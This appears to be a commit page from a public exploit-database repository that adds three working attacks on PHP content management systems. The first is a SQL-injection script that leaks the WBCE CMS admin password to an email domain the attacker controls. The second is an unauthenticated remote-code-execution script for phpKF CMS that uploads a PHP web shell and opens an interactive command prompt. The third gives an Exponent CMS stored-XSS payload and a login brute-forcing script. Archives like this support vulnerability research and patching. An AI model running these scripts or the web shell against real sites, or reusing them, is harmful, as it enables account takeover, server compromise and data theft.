DB: 2021-12-21
3 changes to exploits/shellcodes WBCE CMS 1.5.1 - Admin Password Reset phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated) Exponent CMS 2.6 - Multiple Vulnerabilities
This commit is contained in:
Offensive Security
parent
b9164fdd7e
commit
00cc9f489e
4 changed files with 382 additions and 0 deletions
31
exploits/php/webapps/50609.py
Executable file
31
exploits/php/webapps/50609.py
Executable file
|
|
@ -0,0 +1,31 @@
|
|||
# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset
|
||||
# Google Dork: intext: "Way Better Content Editing"
|
||||
# Date: 20/12/2021
|
||||
# Exploit Author: citril or https://github.com/maxway2021
|
||||
# Vendor Homepage: https://wbce.org/
|
||||
# Software Link: https://wbce.org/de/downloads/
|
||||
# Version: <= 1.5.1
|
||||
# Tested on: Linux
|
||||
# CVE : CVE-2021-3817
|
||||
# Github repo: https://github.com/WBCE/WBCE_CMS
|
||||
# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75
|
||||
|
||||
import requests
|
||||
|
||||
_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment
|
||||
_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0',
|
||||
'Accept':
|
||||
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Connection': 'close'
|
||||
}
|
||||
|
||||
_p = "email=%27/**/or/**/user_id=1/**/or/**/'admin%40" + _domain + "&submit=justrandomvalue"
|
||||
|
||||
r = requests.post(url = _url, headers = headers, data = _p)
|
||||
if r.status_code == 200:
|
||||
print('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')
|
||||
244
exploits/php/webapps/50610.py
Executable file
244
exploits/php/webapps/50610.py
Executable file
|
|
@ -0,0 +1,244 @@
|
|||
# Exploit Title: phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated)
|
||||
# Date: 18/12/2021
|
||||
# Exploit Author: Halit AKAYDIN (hLtAkydn)
|
||||
# Vendor Homepage: https://www.phpkf.com/
|
||||
# Software Link: https://www.phpkf.com/indirme.php
|
||||
# Version: 3.00
|
||||
# Category: Webapps
|
||||
# Tested on: Linux/Windows
|
||||
|
||||
# phpKF-CMS; It is a very popular content management system for promotion, news, shopping, corporate, friends, blogs and more.
|
||||
# Contains an endpoint that allows remote access
|
||||
# Necessary checks are not made in the file upload mechanism, only the file extension is checked
|
||||
# The file with the extension ".png" can be uploaded and the extension can be changed.
|
||||
|
||||
|
||||
# Example: python3 exploit.py -u http://example.com
|
||||
# python3 exploit.py -u http://example.com -l admin -p Admin123
|
||||
|
||||
|
||||
from bs4 import BeautifulSoup
|
||||
from time import sleep
|
||||
import requests
|
||||
import argparse
|
||||
import json
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='phpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)')
|
||||
parser.add_argument('-u', '--host', type=str, required=True)
|
||||
parser.add_argument('-l', '--login', type=str, required=False)
|
||||
parser.add_argument('-p', '--password', type=str, required=False)
|
||||
args = parser.parse_args()
|
||||
print("\nphpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)",
|
||||
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
|
||||
host(args)
|
||||
|
||||
|
||||
def host(args):
|
||||
#Check http or https
|
||||
if args.host.startswith(('http://', 'https://')):
|
||||
print("[?] Check Url...\n")
|
||||
sleep(2)
|
||||
args.host = args.host
|
||||
if args.host.endswith('/'):
|
||||
args.host = args.host[:-1]
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
print("\n[?] Check Adress...\n")
|
||||
sleep(2)
|
||||
args.host = "http://" + args.host
|
||||
args.host = args.host
|
||||
if args.host.endswith('/'):
|
||||
args.host = args.host[:-1]
|
||||
else:
|
||||
pass
|
||||
|
||||
|
||||
# Check Host Status
|
||||
try:
|
||||
response = requests.get(args.host)
|
||||
if response.status_code == 200:
|
||||
if args.login == None and args.password == None:
|
||||
create_user(args)
|
||||
else:
|
||||
login_user(args)
|
||||
else:
|
||||
print("[-] Address not reachable!")
|
||||
sleep(2)
|
||||
|
||||
except requests.ConnectionError as exception:
|
||||
print("[-] Address not reachable!")
|
||||
sleep(2)
|
||||
exit(1)
|
||||
|
||||
|
||||
def create_user(args):
|
||||
print("[*] Create User!\n")
|
||||
sleep(2)
|
||||
url = args.host + "/phpkf-bilesenler/kayit_yap.php"
|
||||
headers = {
|
||||
"Origin": args.host,
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
|
||||
"Referer": "http://fuzzing.com/uye-kayit.php",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
data = {
|
||||
"kayit_yapildi_mi": "form_dolu",
|
||||
"oturum": '', "kullanici_adi": "evil",
|
||||
"sifre": "Evil123",
|
||||
"sifre2": "Evil123",
|
||||
"posta": "evil@localhost.com",
|
||||
"kosul": "on"
|
||||
}
|
||||
response = requests.post(url, headers=headers, data=data, allow_redirects=True)
|
||||
args.login = ("evil")
|
||||
args.password = ("Evil123")
|
||||
print("[+] " + args.login + ":" + args.password + "\n")
|
||||
sleep(2)
|
||||
login_user(args)
|
||||
|
||||
|
||||
|
||||
def login_user(args):
|
||||
url = args.host + "/uye-giris.php"
|
||||
headers = {
|
||||
"Origin": args.host,
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
"Referer": args.host + "/uye-giris.php",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
data = {
|
||||
"kayit_yapildi_mi": "form_dolu",
|
||||
"git": args.host + "/index.php",
|
||||
"kullanici_adi": args.login,
|
||||
"sifre": args.password,
|
||||
"hatirla": "on"
|
||||
}
|
||||
response = requests.post(url, headers=headers, data=data, allow_redirects=False)
|
||||
token = response.cookies.get("kullanici_kimlik")
|
||||
if (token != None):
|
||||
print("[!] Login Success!\n")
|
||||
sleep(2)
|
||||
upload_evil(args, token)
|
||||
else:
|
||||
if args.login == "evil" and args.password == "Evil123":
|
||||
print("[!] Unauthorized user!\n")
|
||||
print("[!] manually add a user and try again\n")
|
||||
print("[!] Go to link " + args.host + "/uye-kayit.php\n")
|
||||
print("python3 exploit.py -u '"+ args.host +"' -l 'attacker' -p 'p@ssW0rd'")
|
||||
sleep(2)
|
||||
else:
|
||||
print("[!] Unauthorized user!\n")
|
||||
sleep(2)
|
||||
|
||||
|
||||
def upload_evil(args, token):
|
||||
url = args.host + "/phpkf-bilesenler/yukleme/index.php"
|
||||
cookies = {
|
||||
"kullanici_kimlik": token,
|
||||
"dil": "en"
|
||||
}
|
||||
headers = {
|
||||
"VERICEK": "",
|
||||
"DOSYA-ADI": "evil.png",
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
|
||||
"Content-type": "application/x-www-form-urlencoded; charset=utf-8",
|
||||
"Accept": "*/*",
|
||||
"Origin": args.host,
|
||||
"Referer": args.host + "/oi_yaz.php",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
data = "<?php if(isset($_GET['cmd'])){ $cmd = ($_GET['cmd']); system($cmd); die; } ?>"
|
||||
response = requests.post(url, headers=headers, cookies=cookies, data=data)
|
||||
|
||||
if (response.text == "yuklendi"):
|
||||
print("[!] Upload Success!\n")
|
||||
sleep(2)
|
||||
change_name(args, token)
|
||||
else:
|
||||
print("[!] Upload Failed!\n")
|
||||
sleep(2)
|
||||
|
||||
|
||||
def change_name(args, token):
|
||||
url = args.host + "/phpkf-bilesenler/yukleme/index.php"
|
||||
cookies = {
|
||||
"kullanici_kimlik": token,
|
||||
"dil": "en"
|
||||
}
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
|
||||
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Accept": "*/*",
|
||||
"Origin": args.host,
|
||||
"Referer": args.host + "/oi_yaz.php",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
data = {
|
||||
"yenidenadlandir": "evil.png|evil.php",
|
||||
"vericek": "/"
|
||||
}
|
||||
response = requests.post(url, headers=headers, cookies=cookies, data=data)
|
||||
if (response.text == "Name successfully changed..."):
|
||||
print("[!] Change Name evil.php!\n")
|
||||
sleep(2)
|
||||
find_dict(args, token)
|
||||
else:
|
||||
print("[!] Change Failed!\n")
|
||||
sleep(2)
|
||||
|
||||
def find_dict(args, token):
|
||||
url = args.host + "/phpkf-bilesenler/yukleme/index.php"
|
||||
cookies = {
|
||||
"kullanici_kimlik": token,
|
||||
"dil": "en"
|
||||
}
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
|
||||
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Accept": "*/*",
|
||||
"Origin": args.host,
|
||||
"Referer": args.host + "/oi_yaz.php",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
data = {
|
||||
"vericek": "/",
|
||||
"dds": "0"
|
||||
}
|
||||
response = requests.post(url, headers=headers, cookies=cookies, data=data)
|
||||
if (response.text == "You can not upload files!"):
|
||||
print("[!] File not found!\n")
|
||||
sleep(2)
|
||||
else:
|
||||
print("[!] Find Vuln File!\n")
|
||||
sleep(2)
|
||||
soup = BeautifulSoup(response.text, 'html.parser')
|
||||
path = soup.find("div").contents[1].replace(" ", "")
|
||||
exploit(args, path)
|
||||
|
||||
|
||||
def exploit(args, path):
|
||||
print("[+] Exploit Done!\n")
|
||||
sleep(2)
|
||||
|
||||
while True:
|
||||
cmd = input("$ ")
|
||||
url = args.host + path + "evil.php?cmd=" + cmd
|
||||
headers = {
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
|
||||
}
|
||||
|
||||
response = requests.post(url, headers=headers, timeout=5)
|
||||
|
||||
if response.text == "":
|
||||
print(cmd + ": command not found\n")
|
||||
else:
|
||||
print(response.text)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
104
exploits/php/webapps/50611.txt
Normal file
104
exploits/php/webapps/50611.txt
Normal file
|
|
@ -0,0 +1,104 @@
|
|||
# Exploit Title: Exponent CMS 2.6 - Multiple Vulnerabilities
|
||||
# Exploit Author: heinjame
|
||||
# Date: 22/10/2021
|
||||
# Exploit Author: picaro_o
|
||||
# Vendor Homepage: https://www.exponentcms.org/
|
||||
# Version: <=2.6
|
||||
# Tested on: Linux os
|
||||
|
||||
*Stored XSS*
|
||||
|
||||
Affected parameter = >
|
||||
http://127.0.0.1:8082/expcms/text/edit/id/{id}/src/@footer (Title,
|
||||
Text Block)
|
||||
|
||||
Payload = <iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
|
||||
** *Database credential are disclosed in response ***
|
||||
|
||||
POC
|
||||
```
|
||||
var adminerwindow = function (){
|
||||
var win =
|
||||
window.open('/expcms/external/adminer/admin.php?server=localhost&username=root&db=exponentcms');
|
||||
if (!win) { err(); }
|
||||
}
|
||||
```
|
||||
|
||||
**Authentication Bruteforce*
|
||||
```
|
||||
import argparse
|
||||
import requests
|
||||
import sys
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("url", help="URL")
|
||||
parser.add_argument("Username list", help="Username List")
|
||||
parser.add_argument("Password list", help="Password List")
|
||||
pargs = parser.parse_args()
|
||||
|
||||
host = sys.argv[1]
|
||||
userlist = sys.argv[2]
|
||||
passlist = sys.argv[3]
|
||||
|
||||
try:
|
||||
readuser = open(userlist)
|
||||
readpass = open(passlist)
|
||||
except:
|
||||
print("Unable to load files")
|
||||
exit()
|
||||
def usernamebrute():
|
||||
s = requests.Session()
|
||||
for username in readuser.readlines():
|
||||
brute={
|
||||
'controller':(None,'users'),
|
||||
'src':(None,''),
|
||||
'int':(None,''),
|
||||
'action':(None,'send_new_password'),
|
||||
'username':(None,username.strip()),
|
||||
}
|
||||
bruteforce = s.post(host+"/index.php",files=brute)
|
||||
status = s.get(host+"/users/reset_password")
|
||||
if "administrator" in status.text:
|
||||
print("[+] Found username : "+ username)
|
||||
adminaccount = username
|
||||
checkpoint = True
|
||||
return adminaccount,checkpoint
|
||||
break
|
||||
|
||||
def passwordbrute(adminaccount):
|
||||
s = requests.Session()
|
||||
s.cookies.set("csrftoken", "abc")
|
||||
header = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0)
|
||||
Gecko/20100101 Firefox/78.0',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'COntent-TYpE': 'applicatiOn/x-WWW-fOrm-urlencoded1',
|
||||
'Referer': host+'/login/showlogin'
|
||||
}
|
||||
for password in readpass.readlines():
|
||||
brute={
|
||||
'controller':'login',
|
||||
'src':'',
|
||||
'int':'',
|
||||
'action':'login',
|
||||
'username':adminaccount,
|
||||
'password':password.strip()
|
||||
}
|
||||
bruteforce = s.post(host+"/index.php",headers=header,data=brute)
|
||||
# print(bruteforce.text)
|
||||
status = s.get(host+"/login/showlogin",cookies=csrf)
|
||||
print(status.text)
|
||||
if "Invalid Username / Password" not in status.text:
|
||||
print("[+] Found Password : "+ password)
|
||||
break
|
||||
|
||||
adminaccount,checkpoint = usernamebrute()
|
||||
if checkpoint == True:
|
||||
passwordbrute(adminaccount)
|
||||
else:
|
||||
print("Can't find username,We can't proceed sorry :(")
|
||||
|
||||
```
|
||||
|
|
@ -44688,3 +44688,6 @@ id,file,description,date,author,type,platform,port
|
|||
50602,exploits/php/webapps/50602.txt,"Croogo 3.0.2 - Unrestricted File Upload",1970-01-01,"Enes Özeser",webapps,php,
|
||||
50603,exploits/php/webapps/50603.txt,"Croogo 3.0.2 - 'Multiple' Stored Cross-Site Scripting (XSS)",1970-01-01,"Enes Özeser",webapps,php,
|
||||
50608,exploits/php/webapps/50608.html,"Arunna 1.0.0 - 'Multiple' Cross-Site Request Forgery (CSRF)",1970-01-01,=(L_L)=,webapps,php,
|
||||
50609,exploits/php/webapps/50609.py,"WBCE CMS 1.5.1 - Admin Password Reset",1970-01-01,citril,webapps,php,
|
||||
50610,exploits/php/webapps/50610.py,"phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
|
||||
50611,exploits/php/webapps/50611.txt,"Exponent CMS 2.6 - Multiple Vulnerabilities",1970-01-01,heinjame,webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue